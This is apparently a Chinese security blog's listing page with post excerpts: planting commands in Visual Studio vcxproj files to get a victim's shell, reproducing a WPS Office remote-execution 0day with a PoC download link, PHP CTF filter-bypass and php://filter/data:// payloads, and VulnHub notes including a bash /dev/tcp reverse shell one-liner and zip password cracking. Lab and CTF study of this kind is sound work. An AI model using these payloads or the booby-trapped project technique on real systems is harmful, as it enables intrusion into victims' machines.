[漏洞分享]Visual Studio恶意指令植入漏洞

漏洞成因 漏洞的形成主要是因为Visual Studio的项目文件(vcxproj)是基于XML格式的,XML文件本身并不包含可执行代码。然而,Visual Studio的XML解析器允许在项目文件中包含一些自定义的命令,这些命令可以在构建项目时被执行。 目前该漏洞影响至visual studio所有版本,微软官方还未做出回应 漏洞复现 假设这是一个你平时在用的一个项目文件 通过修改Visual Studio的项目文件(vcxproj)植入恶意命令(必须添加在该位置) 删除x64文件夹后,重新编译项目,就会发现弹出计算器,说明指令可被执行 漏洞利用 可以直接反弹shell,通过hoaxshell直接生成powershell命令,并植入到vcxproj文件中 当受害者编译后,就能获取到权限

August 11, 2023 · 1 min · Red

[靶场笔记]第七章

intval函数 用于获取变量的整数值(将其他进制转换成10进制输出) 数组绕过 来看看下面这段代码 include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } } 绕过方法很简单,把num变成数组就行,即num[]=1 +号利用 碰到一道比较巧妙的绕过题,先看代码 include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; }} 可以看到要想拿到flag,就得使用转换结果为4476的num值 但是显然8与16进制无法直接使用。怎么办呢?仔细观察if(!strpos($num, "0")),可以看这句用来阻止8进制使用的判断其实原理是判断第一位是不是0。怎么办呢?看到这里你应该也猜到了,利用+在url中代表空格的特点,最后的payload是num=+010574 ./绕过 同样也是一道很有意思的绕过题 if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); } } 虽然没法直接读取flag.php,但只要在前面加个./就能混淆视听 md5()函数空值 在题目中碰到md5函数第一反应不应该是去撞库(要是实在没办法也不是不行),而是想办法让其成为0或空值。来看看下面代码 if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; } 当md5函数参数为数组的时候会发生错误,并返回NULL。可以利用这点进行构造payload a[]=1&b[]=2 ...

August 10, 2023 · 1 min · Red

[漏洞分享]WPS office 远程执行0day复现

废话不多说,直接上复现过程 先来看复现成功截图 这里需要注意wps版本,后面我会同代码和poc文档一起放上该版本下载链接 截至发文前虽然还没有公开poc,但从网上的一些复现结果中可以看出,都是将hosts记录添加为127.0.0.1,但为了更直观看到攻击机和受害者的网络拓补关系,这里我将恶意js代码放到了kali,将受害者的hosts记录添加为kali的ip,如上图所示 复现过程很简单,受害者在hosts文件中添加一条类似clientweb.docer.wps.cn.{xxxxx}wps.cn的记录后,在kali上存放恶意js代码的目录下用python启动一个简单的http服务,受害者打开攻击者准备好的恶意poc文档,就会使用wps内置的浏览器访问kali存放的恶意js代码页面,就能达到远程执行的目的(当时在群上说错了,是在受害者机器上添加hosts记录而不是攻击者) 为了拓展该漏洞的利用,可以使用cobalt strike生成对应shellcode,即可远程上线 文件下载链接:https://pan.baidu.com/s/1RziuqnlBrob7yjjLc0uXLg 提取码:reds

August 9, 2023 · 1 min · Red

[靶场笔记]第六章

include的直接用法 碰到include()第一反应,应该就是想到php伪协议中的filter,直接上payload php://filter/convert.base64-encode/resource=flag.php 更多有关filter参数的用法,可以往下看 data协议 如果出现类似php、flag等关键字过滤的函数,没法用特殊构造方法绕过的时候,考虑使用data协议配合base64加密的方法,同样下面直接放上payload data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= #上面base64解码:<?php system('cat flag.php'); 大写绕过 一种很骚的方法,str_replace不是在找php吗?那关我PHP什么事? include_path 说实话对于安全防御来说这更像是个可有可无的属性,看看官方是怎么解释的 为了方便理解,假设代码长下面这样 if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); include($file);}else{ highlight_file(__FILE__); 不管include_path在php.ini中如何定义,只要访问的路径是类似../???这样的相对路径或者绝对路径,该属性起不到任何限制作用 日志写入 日志虽然不能用来执行,但如果跟上述include结合,在日志中写入的代码便能在宿主php文件中执行 具体web服务器的默认日志目录可以参考[靶场日记]第一章 php://filter 讲究很多,不过内容基本上都概括在下面两篇博客里 谈一谈php://filter的妙用 file_put_content和死亡·杂糅代码之缘 要注意的是,该伪协议中如果使用的是的write选项,那么后面resource的参数是可以跟一个你自己取文件名,并且会在利用目录下新建该文件并写入内容 base64的等号 等号、加号,这些base64编码结果末尾常见的符号被叫做“占位符”。字面意思,其实就是为了填充编码后的字符串,使得其满足base64的长度规范。在字符串末尾删掉这些符号也不会影响解码结果(这里强调末尾,因为其他位置的占位符删除有可能导致预料意外的结果) convert、string、zlib、mcrypt 上面这几个东西都是伪协议中的过滤器,也只有这四个 不一样的过滤器有不一样的功能,详情可以看这里 过滤器的配合能让你很轻松地绕过大部分防御,详情还是参考file_put_content和死亡·杂糅代码之缘

July 24, 2023 · 1 min · Red

[VulnHub]第二章

本章靶场:Corrosion系列 kali上的目录扫描字典 经过几次vulnhub打靶后发现kali上的目录扫描器可谓是五花八门,一些靶场甚至会出现没有使用指定扫描器就没有正确结果的情况 以下是整理的一些常用字典目录,当然可能有疏漏的地方,但也足以应付大部分场景 #除了默认扫描外,绝对目录均为/usr dirsearch默认扫描 nikto默认扫描 ../share/dirb ../share/dirbuster ../wordlist Bash -i 这个参数的作用是创建一个新的bash交互 但真正实用的是下面这句反弹shell bash -i >& /dev/tcp/IP地址/端口 0>&1 具体分析可以看这里 fcrackzip 这是一个压缩包密码爆破工具。可以使用自定义字符组合 fcrackzip -b -c 'aA1' -l 1-10 -u 123lybbn.zip -b 表示使用暴利破解的方式 -c ‘aA1’ 表示使用大小写字母和数字混合破解的方式 -l 1-10 表示需要破解的密码长度为1到10位 -u 表示只显示破解出来的密码,其他错误的密码不显示出 fcrackzip -D -p lybbnpass.txt -u 123lybbn.zip -D 表示要使用字典破解 -p 表示要使用那个字典破解 nano 我自己本人经常死脑筋只会用vim或者vi来修改文件,但其实很多靶机都会有这个坑,就是没有vi系列,只能用nano UID、GID、EUID、EGID、SUID、SGID 内容比较多,简单说一下 UID是当前实际用户,GID是当前用户组,EUID是文件有效用户,EGID是文件有效用户组 而SUID和SGID更像是设置“全局变量”(其实我也还不太理解,因为暂时没怎么用到),感兴趣的可以看这里 硬链接和软链接 简单来说,在linux文件结构中,硬链接更像是一个“实时同步”,并且即便源文件被删除了也并不影响同步文件的读取。而软链接可以理解成windows系统下的快捷方式。更多细节可以看这里

July 23, 2023 · 1 min · Red